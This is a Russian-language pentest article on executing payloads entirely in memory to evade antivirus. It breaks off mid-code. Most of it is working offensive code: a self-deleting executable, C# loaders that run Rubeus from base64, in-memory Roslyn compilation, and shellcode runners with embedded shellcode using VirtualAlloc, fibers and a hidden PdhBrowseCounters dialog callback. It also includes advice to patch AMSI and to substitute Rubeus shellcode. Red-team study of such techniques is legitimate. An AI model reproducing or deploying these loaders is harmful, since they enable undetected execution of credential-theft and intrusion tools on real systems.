Диск – это лава. Исследуем методы выполнения пейлоада в памяти
Ни для кого не секрет, что во время пентестов атакующим приходится использовать готовые инструменты, будь то нагрузка для Cobalt Strike, серверная часть от поднимаемого прокси-сервера или даже дампилка процесса lsass.exe. Что объединяет все эти файлы? То, что все они давным-давно известны антивирусам, и любой из них не оставит без внимания факт появления вредоноса на диске.
Заметили ключевой момент? Факт появления вредоноса на диске. Неужели если мы сможем научиться выполнять пейлоад в оперативной памяти, то пройдём ниже радаров антивирусов? Давайте разберёмся с техниками выполнения файлов полностью в памяти и увидим, насколько жизнь атакующих станет проще, если они научатся работать, не затрагивая диск.

Основы выполнения в памяти

Не настраивайтесь на хардкор, я постараюсь рассказать всё простым и понятным языком.
Выполнение в памяти — абсолютно нормальное поведение. Я бы даже сказал, что всё только так и выполняется. По сути диск — лишь плацдарм, склад, с которого тянутся нужные программы, а затем загрузчик проецирует их в памяти и вызывает точку входа программы. Ничто не мешает нам собственноручно разместить байты данных в памяти, а затем заставить систему их выполнить.
Итак, предлагаю убедиться в том, что диск нам как таковой не нужен — всё успешно работает и без него, полностью в оперативной памяти. Пусть у нас будет файл example.exe, который сначала есть на диске, а потом его не станет: он пропадёт и останется лишь в ОЗУ. Такая техника называется Self-Deletion. Казалось бы, можно запустить пейлоад, а в нём предусмотреть вызов функции DeleteFIle (), но не тут-то было. При попытке удаления самого себя мы получим ошибку 0x5 ERROR_ACCESS_DENIED.
Тем не менее мы можем воспользоваться особенностями файловой системы NTFS, используемой в Windows. В ней существуют так называемые потоки данных, основным можно считать поток $DATA. Если пропадёт этот поток, то файл исчезнет, его невозможно будет прочитать.
К сожалению, поток удалить нельзя, но его можно переименовать, что так же приведёт к невозможности чтения содержимого файла и, как следствие, невозможности его повторного считывания и выполнения. Не будем особо углубляться в технические детали. Отмечу лишь, что переименование потока данных будет осуществляться с помощью функции SetFileInformationByHandle () с передачей в качестве FileInformationClass значения FileRenameInfo, а затем FileDispositionInfo.
Код
#include
#include
#define NEW_STREAM L":HABRAHABR"
BOOL DeleteSelf() {
WCHAR szPath[MAX_PATH * 2] = { 0 };
FILE_DISPOSITION_INFO Delete = { 0 };
HANDLE hFile = INVALID_HANDLE_VALUE;
PFILE_RENAME_INFO pRename = NULL;
const wchar_t* NewStream = (const wchar_t*)NEW_STREAM;
SIZE_T sRename = sizeof(FILE_RENAME_INFO) + sizeof(NewStream);
pRename = (PFILE_RENAME_INFO)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sRename);
if (!pRename) {
printf("[!] HeapAlloc Failed With Error : %d \n", GetLastError());
return FALSE;
}
ZeroMemory(szPath, sizeof(szPath));
ZeroMemory(&Delete, sizeof(FILE_DISPOSITION_INFO));
Delete.DeleteFile = TRUE;
pRename->FileNameLength = sizeof(NewStream);
RtlCopyMemory(pRename->FileName, NewStream, sizeof(NewStream));
if (GetModuleFileNameW(NULL, szPath, MAX_PATH * 2) == 0) {
printf("[!] GetModuleFileNameW Failed With Error : %d \n", GetLastError());
return FALSE;
}
hFile = CreateFileW(szPath, DELETE | SYNCHRONIZE, FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
printf("[!] CreateFileW [R] Failed With Error : %d \n", GetLastError());
return FALSE;
}
wprintf(L"[i] Renaming :$DATA to %s ...", NEW_STREAM);
if (!SetFileInformationByHandle(hFile, FileRenameInfo, pRename, sRename)) {
printf("[!] SetFileInformationByHandle [R] Failed With Error : %d \n", GetLastError());
return FALSE;
}
wprintf(L"[+] DONE \n");
CloseHandle(hFile);
hFile = CreateFileW(szPath, DELETE | SYNCHRONIZE, FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
printf("[!] CreateFileW [D] Failed With Error : %d \n", GetLastError());
return FALSE;
}
wprintf(L"[i] DELETING ...");
if (!SetFileInformationByHandle(hFile, FileDispositionInfo, &Delete, sizeof(Delete))) {
printf("[!] SetFileInformationByHandle [D] Failed With Error : %d \n", GetLastError());
return FALSE;
}
wprintf(L"[+] DONE \n");
CloseHandle(hFile);
HeapFree(GetProcessHeap(), 0, pRename);
return TRUE;
}
int main() {
DeleteSelf();
getchar();
return 0;
} Как мы видим, процесс успешно создан и продолжает свою работу, даже когда с диска система уже не в состоянии что-либо прочитать. Это доказывает тот факт, что файл считывается загрузчиком, помещается в оперативную память, а затем идёт его выполнение.
Встроенные возможности языков для выполнения кода в памяти
C# и System.Reflection.Assembly
У некоторых языков есть встроенный функционал для выполнения определённого кода в памяти. Например, у C# есть неймспейс System.Reflection, а в нём класс Assembly с методом Load, который можно использовать для помещения и последующего выполнения C# сборки в памяти. Прототип следующий:
public static System.Reflection.Assembly Load (byte[] rawAssembly);
Функция принимает один-единственный параметр — rawAssembly. Он представляет собой массив байтов сборки, которую требуется поместить в память. Предлагаю рассмотреть файл Rubeus.exe — инструмент отлично подходит для демонстрации, ведь он написан на C#.
Для считывания байтов будем использовать File.ReadAllBytes, после чего будем передавать байты в описанную выше функцию и вызывать её точку входа.
using System;
using System.IO;
using System.Reflection;
namespace AssemblyLoader
{
class Program
{
static void Main(string[] args)
{
Byte[] bytes = File.ReadAllBytes(@"C:\Users\Michael\Downloads\Rubeus.exe");
ExecuteAssembly(bytes, new string[] { "user" });
Console.Write("Press any key to exit");
string input = Console.ReadLine();
}
public static void ExecuteAssembly(Byte[] assemblyBytes, string[] param)
{
Assembly assembly = Assembly.Load(assemblyBytes);
MethodInfo method = assembly.EntryPoint;
object[] parameters = new[] { param };
object execute = method.Invoke(null, parameters);
}
}
}
```

Таким образом, мы можем на машине атакующего считать все байты полезной нагрузки, а затем на машине атакуемого вызвать метод Assembly.Load (), что приведёт к возможности запуска пейлоада в памяти! Начнём со считывания байтов. Каждый раз использовать File.ReadAllBytes (), мягко говоря, нудно, поэтому байты можно считать с использованием Powershell:
$FilePath = "C:\Users\Michael\Downloads\Rubeus.exe""
$File = [System.IO.File]::ReadAllBytes($FilePath);
В переменной $File будет находиться слишком большой массив байтов, с которым не очень удобно работать:

Поэтому предлагаю закодировать этот массив в Base64, а затем на машине атакуемого строку декодировать и получить нужный поток байтов.
$Base64String = [System.Convert]::ToBase64String($File);
echo $Base64String;

Теперь остаётся лишь изменить наш лоадер, добавив в него полученную Base64 строку и функционал по её декодированию:
using System;
using System.IO;
using System.Reflection;
namespace AssemblyLoader
{
class Program
{
static void Main(string[] args)
{
string assemblyBase64 = "";
Byte[] bytes = Convert.FromBase64String(assemblyBase64);
ExecuteAssembly(bytes, new string[] { "user" });
Console.Write("Press any key to exit");
string input = Console.ReadLine();
}
public static void ExecuteAssembly(Byte[] assemblyBytes, string[] param)
{
Assembly assembly = Assembly.Load(assemblyBytes);
MethodInfo method = assembly.EntryPoint;
object[] parameters = new[] { param };
object execute = method.Invoke(null, parameters);
}
}
}

Причём не обязательно каждый раз генерировать новую сборку, ведь у нас есть возможность вызова дотнетовских методов из Powershell. В частности, можно обратиться к нужному нам System.Reflection, а из него вызывать метод Assembly.Load (), что позволит с таким же успехом загрузить сборку и обратиться к ней.
Синтаксис прост:
$blob = "<полученное base64>"
$load = [System.Reflection.Assembly]::Load([Convert]::FromBase64String($blob));
После чего нужно лишь выбрать желаемый для вызова метод, используя следующий синтаксис:
[.]::()
# Ex
[Rubeus.Program]::Main()
В случае с запуском через Powershell все байты сборки, передаваемой в метод Assembly.Load (), перед загрузкой окажутся в AMSI, поэтому нужно предварительно запатчить AMSI, чтобы он не ругался на наш загружаемый пейлоад.
Причём далеко не каждая сборка сможет успешно загрузиться подобным образом. Следует убедиться, что в проекте используется Net Framework, а не Net Core, так как Core не получится грузить в память. Вот статья, которой можно руководствоваться при изменении проекта с Core на Net Framework. Выбрать нужный фреймворк тоже можно непосредственно при создании проекта в Visual Studio:

В ходе исследования этого метода подгрузки сборок оказалось, что иногда у Powershell не получается обнаружить наличие сборки в памяти, поэтому придётся собственноручно вычленять и вызывать нужный метод:
$data = 'байты сборки'
$assem = [System.Reflection.Assembly]::Load($data);
$class = $assem.GetType('Rubeus.Program');
$method = $class.GetMethod('Main');
$method.Invoke(0, $null)
C# и MemoryStream ()
В C# присутствует ещё один интересный механизм, позволяющий компилировать сборки буквально на ходу из представленного исходного кода. Причём, как я узнал позже, этот функционал появился относительно недавно, лишь в 2021 году.
Итак, сначала исходный код требуется подготовить с использованием CSharpSyntaxTree.ParseText (). В дальнейшем он должен храниться в виде экземпляра класса SyntaxTree.
SyntaxTree syntaxTree = CSharpSyntaxTree.ParseText(@"
namespace ns{
using System;
public class App{
public static void Main(string[] args){
Console.Write(""dada"");
}
}
}");
Далее нужно добавить опции компиляции (у нас указывается, что это будет консольное приложение):
var options = new CSharpCompilationOptions(
OutputKind.ConsoleApplication,
optimizationLevel: OptimizationLevel.Debug,
allowUnsafe: true);
Теперь подготовим сборку, которая будет выполняться в памяти. Сначала создаём переменную, которая будет олицетворять сборку, для этого используется функция CSharpCompilation.Create (). Первым параметром указываем имя сборки, а последним — необходимые опции компилятора. В нашем случае генерируется рандомное имя.
var compilation = CSharpCompilation.Create(Path.GetRandomFileName(), options: options);
Теперь у нас есть объект сборки, добавляем в неё исходный код, вызывая метод AddSyntaxTrees ():
compilation = compilation.AddSyntaxTrees(syntaxTree);
Внутри нашей сборки есть зависимости от других сборок. Например, для того же вывода на консоль требуется наличие метода System.Console.Write (), а откуда его возьмёт компилятор? Поэтому теперь в сборку следует добавить зависимости от других сборок. Они чаще всего представлены в виде .dll файлов, а стандартные сборки находятся в одной и той же директории, которую можно извлечь вот так:
var assemblyPath = Path.GetDirectoryName(typeof(object).Assembly.Location);
Обратите внимание, что у проекта может быть множество зависимостей, поэтому потребуется завести список:
List references = new List();
references.Add(MetadataReference.CreateFromFile(Path.Combine(assemblyPath, "System.Private.CoreLib.dll")));
references.Add(MetadataReference.CreateFromFile(Path.Combine(assemblyPath, "System.Console.dll")));
references.Add(MetadataReference.CreateFromFile(Path.Combine(assemblyPath, "System.Runtime.dll")));
Дополнительно можно распарсить наше ранее созданное синтаксическое дерево (помните? В нём исходный код собираемой сборки лежит). Для этого используем вот такой код:
var usings = compilation.SyntaxTrees.Select(tree => tree.GetRoot().DescendantNodes().OfType()).SelectMany(s => s).ToArray();
// добавляем расширение .dll
foreach (var u in usings)
{
references.Add(MetadataReference.CreateFromFile(Path.Combine(assemblyPath, u.Name.ToString() + ".dll")));
}
compilation.SyntaxTrees — из объекта сборки получаем все синтаксические деревья
Select (tree => tree.GetRoot ().DescendantNodes ().OfType
()) — для каждого дерева из списка выполняется действие в скобках после Select. tree.GetRoot () возвращает корневой узел каждого дерева. DescendantNodes () получает все узлы дерева, производные от корневого. OfType () фильтрует узлы, оставляя только те, что представляют собой директивы using SelectMany (s => s) — так как каждое дерево может содержать множество директив using, вызов SelectMany нужен для преобразования списка списков в один общий список
ToArray () — преобразует получившийся список в массив для дальнейшего использования. После чего пробегаемся по полученным сборкам и добавляем расширение .dll
Остаётся лишь добавить в объект сборки полученные зависимости и скомпилировать. Добавление осуществляется через метод compilation.AddReferences.
compilation = compilation.AddReferences(references);
Наконец вся магия исполнения в памяти заключается в использовании экземпляра класса MemoryStream, который позволяет работать с данными в памяти. Этот экземпляр мы передаём в метод compilation.Emit () (используется для компиляции сборки), что приводит к помещению скомпилированной сборки в память.
using (var ms = new MemoryStream())
{
EmitResult result = compilation.Emit(ms);
if (!result.Success)
{
IEnumerable failures = result.Diagnostics.Where(diagnostic =>
diagnostic.IsWarningAsError ||
diagnostic.Severity == DiagnosticSeverity.Error);
foreach (Diagnostic diagnostic in failures)
{
Console.Error.WriteLine("{0}: {1}, {2}", diagnostic.Id, diagnostic.GetMessage(), diagnostic.Location);
}
}
else
{
ms.Seek(0, SeekOrigin.Begin);
AssemblyLoadContext context = AssemblyLoadContext.Default;
Assembly assembly = context.LoadFromStream(ms);
assembly.EntryPoint.Invoke(null, new object[] { new string[] { "arg1", "arg2", "etc" } });
}
}
Затем не составит труда извлечь сборку из памяти и вызвать метод из неё. Полный код проекта приведён ниже.
Код
using System;
using System.CodeDom.Compiler;
using System.IO;
using System.Reflection;
using System.Runtime.Loader;
using Microsoft.CodeAnalysis;
using Microsoft.CodeAnalysis.CSharp;
using Microsoft.CodeAnalysis.CSharp.Syntax;
using Microsoft.CodeAnalysis.Emit;
class Program
{
static void Main()
{
// создание экземпляра класса, содержащего исходный код
SyntaxTree syntaxTree = CSharpSyntaxTree.ParseText(@"
namespace ns{
using System;
public class App{
public static void Main(string[] args){
Console.Write(""dada"");
}
}
}");
// создаем опции компилятора, в которых говорим, что у нас консольное приложение
var options = new CSharpCompilationOptions(
OutputKind.ConsoleApplication,
optimizationLevel: OptimizationLevel.Debug,
allowUnsafe: true);
// создание объекта сборки
var compilation = CSharpCompilation.Create(Path.GetRandomFileName(), options: options);
// добавление исходного кода в сборку
compilation = compilation.AddSyntaxTrees(syntaxTree);
// получение локального путя, где лежат все сборки
var assemblyPath = Path.GetDirectoryName(typeof(object).Assembly.Location);
List references = new List();
// добавление необходимых сборок в список
references.Add(MetadataReference.CreateFromFile(Path.Combine(assemblyPath, "System.Private.CoreLib.dll")));
references.Add(MetadataReference.CreateFromFile(Path.Combine(assemblyPath, "System.Console.dll")));
references.Add(MetadataReference.CreateFromFile(Path.Combine(assemblyPath, "System.Runtime.dll")));
// добавляем сборки из синтаксического дерева
var usings = compilation.SyntaxTrees.Select(tree => tree.GetRoot().DescendantNodes().OfType()).SelectMany(s => s).ToArray();
// добавляем расширение .dll
foreach (var u in usings)
{
references.Add(MetadataReference.CreateFromFile(Path.Combine(assemblyPath, u.Name.ToString() + ".dll")));
}
// добавляем зависимости
compilation = compilation.AddReferences(references);
// компилим
using (var ms = new MemoryStream())
{
EmitResult result = compilation.Emit(ms);
if (!result.Success)
{
IEnumerable failures = result.Diagnostics.Where(diagnostic =>
diagnostic.IsWarningAsError ||
diagnostic.Severity == DiagnosticSeverity.Error);
foreach (Diagnostic diagnostic in failures)
{
Console.Error.WriteLine("{0}: {1}, {2}", diagnostic.Id, diagnostic.GetMessage(), diagnostic.Location);
}
}
else
{
ms.Seek(0, SeekOrigin.Begin);
AssemblyLoadContext context = AssemblyLoadContext.Default;
Assembly assembly = context.LoadFromStream(ms);
assembly.EntryPoint.Invoke(null, new object[] { new string[] { "arg1", "arg2", "etc" } });
}
}
}
} Таким образом, мы можем запускать практически любой удобный для нас код в памяти. Единственная проблема — исходники будут в явном виде находиться в программе, что не есть хорошо, конечно. Но тут можно использовать какие-нибудь криптографические либо кодировочные функции для сокрытия исходного кода.
Обратите внимание, что для запуска кода требуется добавить пакет Microsoft.CodeAnalysis.CSharp:



C#, память и неуправляемый код
Дотнетовские сборки мы выполнять научились, но что, если программа была написана на С++? В этом случае она исполняется вне платформы CLR и будет считаться неуправляемым кодом. Как следствие, выполнить её в памяти через описанные выше методы не получится.
Точку ставить рано, ведь существуют шеллкоды. Что, если мы сгенерируем шеллкод от существующей программы на С++, затем засунем этот шеллкод в С# проект, в котором реализуем логику по инжекту этого шеллкода в адресное пространство текущего процесса? В таком случае на выходе у нас будет полноценная сборка, которая загружается с использованием System.Reflection.Assembly.Load () и выполняет наш шеллкод. Получается такая матрёшка из четырёх кукол: вызов Assembly.Load () — первая кукла, загружаемая сборка — вторая, шеллкод в сборке — третья, и, наконец, шеллкод представляет собой нашу С++ программу — четвёртая.
Итак, сначала предлагаю подготовить программу, которая будет осуществлять запуск нашего шеллкода. Здесь будем использовать стандартный шеллкод-раннер с помощью GetDelegateForFunctionPointer ():
Код
using System;
using System.Runtime.InteropServices;
namespace ShellcodeLoader
{
public class Program
{
public static void Main(string[] args)
{
byte[] x86shc = new byte[193] {
0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,
0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,
0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,
0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,
0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,
0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,
0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,
0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,
0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,
0x8d,0x5d,0x6a,0x01,0x8d,0x85,0xb2,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,
0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,
0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,
0x00,0x53,0xff,0xd5,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x00 };
IntPtr funcAddr = VirtualAlloc(
IntPtr.Zero,
(uint)x86shc.Length,
0x1000, 0x40);
Marshal.Copy(x86shc, 0, (IntPtr)(funcAddr), x86shc.Length);
pFunc f = (pFunc)Marshal.GetDelegateForFunctionPointer(funcAddr, typeof(pFunc));
f();
return;
}
#region pinvokes
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
delegate void pFunc();
#endregion
}
}Теперь конвертируем байты этой сборки по описанному выше алгоритму в base64 строку и запускаем через System.Reflection.Assembly:

Отлично! Запуск тестового шеллкода работает. Пора переходить к генерации непосредственно самого шеллкода. Сначала определимся с программой. Предлагаю написать что-то более-менее серьёзное, чтобы проверить теорию наверняка. Используем графику, различные API-вызовы, циклы, коллбэки и прочую жуть:
Код
#include
LRESULT CALLBACK WindowProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam);
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
// Создание окна
HWND hwnd;
WNDCLASSEX wc = { sizeof(WNDCLASSEX), CS_HREDRAW | CS_VREDRAW, WindowProc, 0, 0, hInstance, NULL, LoadCursor(NULL, IDC_ARROW), NULL, NULL, L"MyWindowClass", NULL };
RegisterClassEx(&wc);
hwnd = CreateWindowEx(0, L"MyWindowClass", L"Pixel Drawing", WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, CW_USEDEFAULT, 800, 600, NULL, NULL, hInstance, NULL);
ShowWindow(hwnd, nCmdShow);
// Получение контекста устройства (Device Context)
HDC hdc = GetDC(hwnd);
// Рисование пикселей
for (int x = 0; x < 800; x++)
{
for (int y = 0; y < 600; y++)
{
SetPixel(hdc, x, y, RGB(x % 256, y % 256, (x + y) % 256)); // Задаем цвет пикселя
}
}
// Основной цикл сообщений
MSG msg;
while (GetMessage(&msg, NULL, 0, 0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
// Освобождаем ресурсы и завершаем программу
ReleaseDC(hwnd, hdc);
UnregisterClass(L"MyWindowClass", hInstance);
return 0;
}
// Обработка сообщений окна
LRESULT CALLBACK WindowProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
switch (uMsg)
{
case WM_DESTROY:
PostQuitMessage(0);
return 0;
}
return DefWindowProc(hwnd, uMsg, wParam, lParam);
} Затем компилируем, после чего нужно перегнать программу в шеллкод. Для этого есть множество готовых инструментов:
Можно даже использовать Visual Studio для генерации шеллкода, об этом подробно написано в этой статье. Я человек простой, поэтому предлагаю использовать стандартный donut:
donut.exe -i CodeToShc.exe -o code.bin -b 1

Затем перегоняем из .bin формата в шестнадцатеричный шеллкод, который можно будет вставить в программу:
xxd -i code.bin > 1.h
В файле будет представлен шеллкод нашей программы:

Добавляем шеллкод в шеллкод-раннер и проверяем, что всё работает:

Остаётся лишь получить байты сборки и запустить эту сборку через System.Reflection.Assembly:

И получаем успешное выполнение сборки с шеллкодом:

Благодаря этому способу запуска шеллкода антивирус не в состоянии обнаружить такой способ инъекции:

Конвертация в JScript
Существует метод запуска дотнетовских сборок через конвертацию в JScript, для этого используется следующий инструмент: https://github.com/tyranid/DotNetToJScript.
Первым делом качаем проект по ссылке выше, открываем в студии, идём в Solution Explorer → тыкаем на TestClass.cs в проекте ExampleAssembly. Выбираем компилировать как .dll.

Затем наш код должен быть вставлен в классе TestClass (), например, следующий код выводит месседж-бокс:
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Windows.Forms;
[ComVisible(true)]
public class TestClass
{
public TestClass()
{
MessageBox.Show("Test", "Test", MessageBoxButtons.OK, MessageBoxIcon.Exclamation);
}
public void RunProcess(string path)
{
Process.Start(path);
}
}
После успешной компиляции в формате .dll используем скачанную выше тулзу для конвертации в js:
DotNetToJScript.exe <имя нашей длл> --lang=Jscript --ver=<версия .NET фреймворка> -o demo.js
# Ex
DotNetToJScript.exe ExampleAssembly.dll --lang=Jscript --ver=v4 -o demo.js
Полученный .js файл можно смело запускать, что приведёт к выполнению кода из TestClass (), а именно — появлению MessageBox.
Fibers
Фиберы — это одна из единиц выполнения кода, как процесс или поток. Фибер работает внутри конкретного потока. То есть выстраивается иерархия процесс → поток → фибер. Внутри потока может быть несколько фиберов. Причём фиберы управляются и контролируются самим приложением, а не операционной системой. Благодаря фиберам можно выстраивать более гибкие механизмы синхронизации, потому что они имеют собственный стек и регистры. Фиберы удобно использовать для задач сокрытия исполнения кода, так как выполнение кода внутри фиберов отследить намного сложнее, чем выполнение кода внутри потока. Самое интересное заключается в том, что стек фибера, как только фибер завершит свою работу, будет очищен. В результате чего антивирусному ПО будет сложнее обнаружить вредоносную активность в нашей программе.
Если же фибер внутри себя вызывает другой фибер, то стек очищен не будет. Будет произведено переключение стека и значений регистров на те, которые должны быть у фибера, на который переключились. Например, если в основном потоке значение регистра EAX 0×00, у фибера 1 оно равно 0×01, а у фибера 2 0×02, то, при переключении основного потока на фибер 1 значение регистра EAX станет равно 0×01, а при переключении из фибера 1 на фибер 2 оно станет равно 0×02. После завершения работы фибера 2 примет значение фибера 1 и т. д.
В идеале для сокрытия пейлоада от АВ следует разместить его где-то в файле — например, в PE, в соседней DLL библиотеке или где-то ещё. Затем запустить кучу потоков, в них кучу фиберов, а в каком-то из фиберов — полезную нагрузку.
Фиберы поддерживаются как в C#, так и в C++. Для разнообразия предлагаю этот PoC написать на C++. Итак, основная функция для работы с фиберами — CreateFiber ():
LPVOID CreateFiber(
[in] SIZE_T dwStackSize,
[in] LPFIBER_START_ROUTINE lpStartAddress,
[in, optional] LPVOID lpParameter
);
dwStackSize — начальный размер стека
LPFIBER_START_ROUTINE — коллбэк-функция, которая будет считаться главной функцией фибера. Она вызывается при старте фибера
lpParameter — некоторые дополнительные данные, которые мы хотим передать в фибер
После создания фибера его запустить можно с помощью SwitchToFiber (). Обратите внимание, что нельзя напрямую вызывать эту функцию из потока — не произойдёт перехода потока управления. Поэтому требуется предварительно конвертировать текущий поток в фибер с помощью ConvertThreadToFiber ().
Фиберы отлично подходят для исполнения наших пейлоадов в памяти по причине их достаточно хорошей скрытности. Предлагаю начать писать простенький PoC, в котором будет десять потоков и десять фиберов, но лишь в одном из фиберов будет осуществлен запуск нашего шеллкода.
Для синхронизации предлагаю использовать мьютекс. Создадим ещё в начале нашей программы мьютекс, а затем дёрнем его перед запуском шеллкода, чтобы предотвратить его повторные запуски.
Код
#include
#include
#include
#define DEBUG
size_t numOfThreads = 10;
size_t numOfFibers = 10;
unsigned char shc[] = "\x48\x31\xff\x48\xf7\xe7\x65\x48\x8b\x58\x60\x48\x8b\x5b\x18\x48\x8b\x5b\x20\x48\x8b\x1b\x48\x8b\x1b\x48\x8b\x5b\x20\x49\x89\xd8\x8b"
"\x5b\x3c\x4c\x01\xc3\x48\x31\xc9\x66\x81\xc1\xff\x88\x48\xc1\xe9\x08\x8b\x14\x0b\x4c\x01\xc2\x4d\x31\xd2\x44\x8b\x52\x1c\x4d\x01\xc2"
"\x4d\x31\xdb\x44\x8b\x5a\x20\x4d\x01\xc3\x4d\x31\xe4\x44\x8b\x62\x24\x4d\x01\xc4\xeb\x32\x5b\x59\x48\x31\xc0\x48\x89\xe2\x51\x48\x8b"
"\x0c\x24\x48\x31\xff\x41\x8b\x3c\x83\x4c\x01\xc7\x48\x89\xd6\xf3\xa6\x74\x05\x48\xff\xc0\xeb\xe6\x59\x66\x41\x8b\x04\x44\x41\x8b\x04"
"\x82\x4c\x01\xc0\x53\xc3\x48\x31\xc9\x80\xc1\x07\x48\xb8\x0f\xa8\x96\x91\xba\x87\x9a\x9c\x48\xf7\xd0\x48\xc1\xe8\x08\x50\x51\xe8\xb0"
"\xff\xff\xff\x49\x89\xc6\x48\x31\xc9\x48\xf7\xe1\x50\x48\xb8\x9c\x9e\x93\x9c\xd1\x9a\x87\x9a\x48\xf7\xd0\x50\x48\x89\xe1\x48\xff\xc2"
"\x48\x83\xec\x20\x41\xff\xd6,\x00";
DWORD WINAPI threadProc(VOID*);
VOID WINAPI fiberProc(LPVOID);
HANDLE hMutex;
int main() {
std::vector threads(numOfThreads);
hMutex = CreateMutex(NULL, FALSE, L"Mutex");
for (auto& thread : threads)
{
thread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)threadProc, NULL, 0, NULL);
}
for (auto& thread : threads)
{
WaitForSingleObject(thread, INFINITE);
}
return 0;
}
DWORD WINAPI threadProc(LPVOID lpParam) {
std::vector fibers(numOfFibers);
ConvertThreadToFiber(NULL);
for (int i = 0; i < numOfFibers; ++i)
{
fibers[i] = CreateFiber(0, (LPFIBER_START_ROUTINE)fiberProc, (LPVOID)i);
}
while (true)
{
for (auto& fiber : fibers)
{
SwitchToFiber(fiber);
}
}
return 0;
}
VOID WINAPI fiberProc(LPVOID lpParam) {
WaitForSingleObject(hMutex, INFINITE);
hMutex = OpenMutex(MUTEX_ALL_ACCESS, FALSE, L"Mutex");
if (hMutex)
{
PVOID payload_mem = VirtualAlloc(0, sizeof(shc), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(payload_mem, shc, sizeof(shc));
((void(*)())payload_mem)();
}
}
Вам нужно лишь заменить шеллкод на шеллкод Rubeus. Благодаря такому серьёзному скрытию кода мы вновь успешно исполняем его в памяти и остаёмся вне поля зрения антивируса:

Специальные лоадеры
Существует целый класс программ, так называемых Reflective Loader’s, которые позволяют загружать код в память. Рефлективная загрузка кода в память основывается на том, что разработчик собственноручно создаёт алгоритм по занесению PE-файла в память — так же, как это делает и сам Windows. Либо хотя бы на уровне, чтобы пейлоад мог запуститься.
На Github достаточно много готовых PoC, выделю самые интересные:
Invoke-ReflectivePEInjection — повершелловский вариант
RunPE — подходит для запуска как управляемого, так и неуправляемого кода
FilelessPELoader — одна из самых толковых реализаций. Тянет пейлоад с удалённого сервера
Причём можно отдельно выделить класс программ, служащих для рефлективного внедрения DLL:
Тем не менее иногда все эти специальные лоадеры бесполезны. В большинстве случаев на пентесте достаточно перегнать программу в шеллкод, а затем заставить систему его как-нибудь выполнить. Причём если просто отойти от проторенной дороги и использовать ранее неизвестный метод запуска шеллкода, с большой вероятностью получится обойти антивирус.
Например, можно поискать любые функции, принимающие в качестве одного из параметров коллбэк. В Windows присутствует множество GUI-функций и GUI-приложений, которые принимают коллбек. Скажем, функция PdhBrowseCounters () может использоваться для отображения специального диалогового окна, в котором можно выбрать интересующие нас счетчики производительности для программы монитора ресурсов системы. Функция принимает структуру PDH_BROWSE_DLG_CONFIG, одним из элементов которой является pCallback.
Проблема лишь в том, что этот коллбэк вызывается только после того, как пользователь выберет нужные счётчики производительности. Опять же, мы можем выбрать эти счётчики за пользователя, а затем, используя SendMessage () сымитировать отправку сообщения о выборе счетчиков нужному окну.
Вот полный код программы, вам вновь достаточно лишь заменить шеллкод:
#include
#include
#include
#include
#include
#pragma comment(lib, "pdh.lib")
DWORD WINAPI ThreadFunction(LPVOID lpParam)
{
Sleep(5000);
HWND hwnd = NULL;
hwnd = FindWindow(NULL, L"s");
ShowWindow(hwnd, SW_HIDE);
if (hwnd)
{
HWND hwndButton = FindWindowEx(hwnd, NULL, L"Button", L"ОК"); // OK RUssian
if (hwndButton)
{
SendMessage(hwndButton, BM_CLICK, 0, 0);
}
else {
hwndButton = FindWindowEx(hwnd, NULL, L"Button", L"OK"); // OK English
if (hwndButton) {
SendMessage(hwndButton, BM_CLICK, 0, 0);
}
else {
std::cout << "[-] Cant get handle on button" << std::endl;
}
}
}
return 0;
}
void ShowCounterBrowser()
{
PDH_BROWSE_DLG_CONFIG dlg;
ZeroMemory(&dlg, sizeof(PDH_BROWSE_DLG_CONFIG));
unsigned char AbcdVar[] = "";
PVOID addr = VirtualAlloc(0, sizeof(AbcdVar), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(addr, AbcdVar, sizeof(AbcdVar));
dlg.pCallBack = (CounterPathCallBack)addr;
dlg.dwCallBackArg = NULL;
dlg.bIncludeInstanceIndex = FALSE;
dlg.bSingleCounterPerAdd = TRUE;
dlg.bSingleCounterPerDialog = TRUE;
dlg.bLocalCountersOnly = FALSE;
